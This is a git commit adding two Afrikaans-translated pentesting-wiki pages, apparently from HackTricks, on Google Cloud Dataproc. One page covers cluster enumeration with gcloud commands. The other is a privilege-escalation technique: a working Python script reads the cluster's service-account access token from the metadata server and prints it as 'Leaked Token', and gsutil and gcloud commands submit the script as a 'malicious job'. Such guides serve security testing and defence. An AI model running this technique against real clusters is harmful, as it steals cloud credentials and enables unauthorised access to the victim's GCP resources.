Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:21 +00:00
parent f40c401d43
commit a2d9a83203
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
Ek was nie in staat om 'n omgekeerde shell te verkry met hierdie metode nie, maar dit is moontlik om die SA-token vanaf die metadata-eindpunt te lek met die metode hieronder beskryf.
#### Stappe om te benut
- Plaas die werkskrip op die GCP-bucket.
- Dien 'n werk in by 'n Dataproc-kluster.
- Gebruik die werk om toegang tot die metadata-bediener te verkry.
- Lek die diensrekeningtoken wat deur die kluster gebruik word.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Basiese Inligting
Google Cloud Dataproc is 'n volledig bestuurde diens vir die uitvoering van Apache Spark, Apache Hadoop, Apache Flink, en ander groot data raamwerke. Dit word hoofsaaklik gebruik vir data verwerking, navraag, masjienleer, en stroomanalise. Dataproc stel organisasies in staat om klusters vir verspreide rekenaars te skep met gemak, wat naatloos integreer met ander Google Cloud Platform (GCP) dienste soos Cloud Storage, BigQuery, en Cloud Monitoring.
Dataproc klusters loop op virtuele masjiene (VMs), en die diensrekening wat met hierdie VMs geassosieer is, bepaal die toestemmings en toegangsvlak van die kluster.
## Komponente
'n Dataproc kluster sluit tipies in:
Master Node: Bestuur klusterhulpbronne en koördineer verspreide take.
Worker Nodes: Voer verspreide take uit.
Diensrekeninge: Hanteer API-oproepe en toegang tot ander GCP dienste.
## Enumerasie
Dataproc klusters, werksgeleenthede, en konfigurasies kan geënumerer word om sensitiewe inligting te versamel, soos diensrekeninge, toestemmings, en potensiële misconfigurasies.
### Kluster Enumerasie
Om Dataproc klusters te enummeren en hul besonderhede te verkry:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Werk Opname
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}